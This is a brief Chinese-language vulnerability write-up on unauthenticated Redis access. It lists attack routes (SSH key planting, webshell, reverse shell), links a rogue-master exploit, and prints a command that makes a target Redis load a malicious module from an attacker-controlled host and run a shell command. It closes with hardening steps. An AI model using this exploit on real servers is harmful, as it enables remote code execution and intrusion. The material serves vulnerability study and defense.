0x01 Redis是什么?
Redis是數據庫,一個高性能的key-value存儲系統,是使用ANSI C語言編寫的。
0x02 Redis未授權訪問漏洞
Redis 默認情況下,會綁定在 0.0.0.0:6379,如果沒有進行采用相關的策略,比如添加防火牆規則避免其他非信任來源 ip 訪問等,這樣將會將 Redis 服務暴露到公網上,如果在沒有設置密碼認證(一般為空)的情況下,會導致任意用戶在可以訪問目標服務器的情況下未授權訪問 Redis 以及讀取 Redis 的數據。
0x03 影響版本
影響版本Redis未授權訪問在4.x/5.0.5版本以下
0x04 攻擊手段
1.直接未授權訪問,對redis數據庫的操作
2.ssh免密鑰登錄(有思維導圖)
3.對redis數據庫寫馬子拿shell,與第二點條件和思路差不多
4.寫進反彈shell,設置反彈時間反彈。
5.利用現有exp
0x05 漏洞復現(利用現有exp)
poc地址:
https://github.com/vulhub/redis-rogue-getshell
編譯
攻擊
python3 redis-master.py -h
python3 redis-master.py -r 192.168.227.128 -p 6379 -L 192.168.227.129 -P 8989 -f RedisModulesSDK/exp.so -c "id"
修復方案
1.禁止一些高危命令(重啟redis才能生效)
2.以低權限運行 Redis 服務(重啟redis才能生效)切身體會
3.為 Redis 添加密碼驗證(重啟redis才能生效)
4.禁止外網訪問 Redis(重啟redis才能生效)
5.修改默認端口
6.保證 authorized_keys 文件的安全
7.設置防火牆策略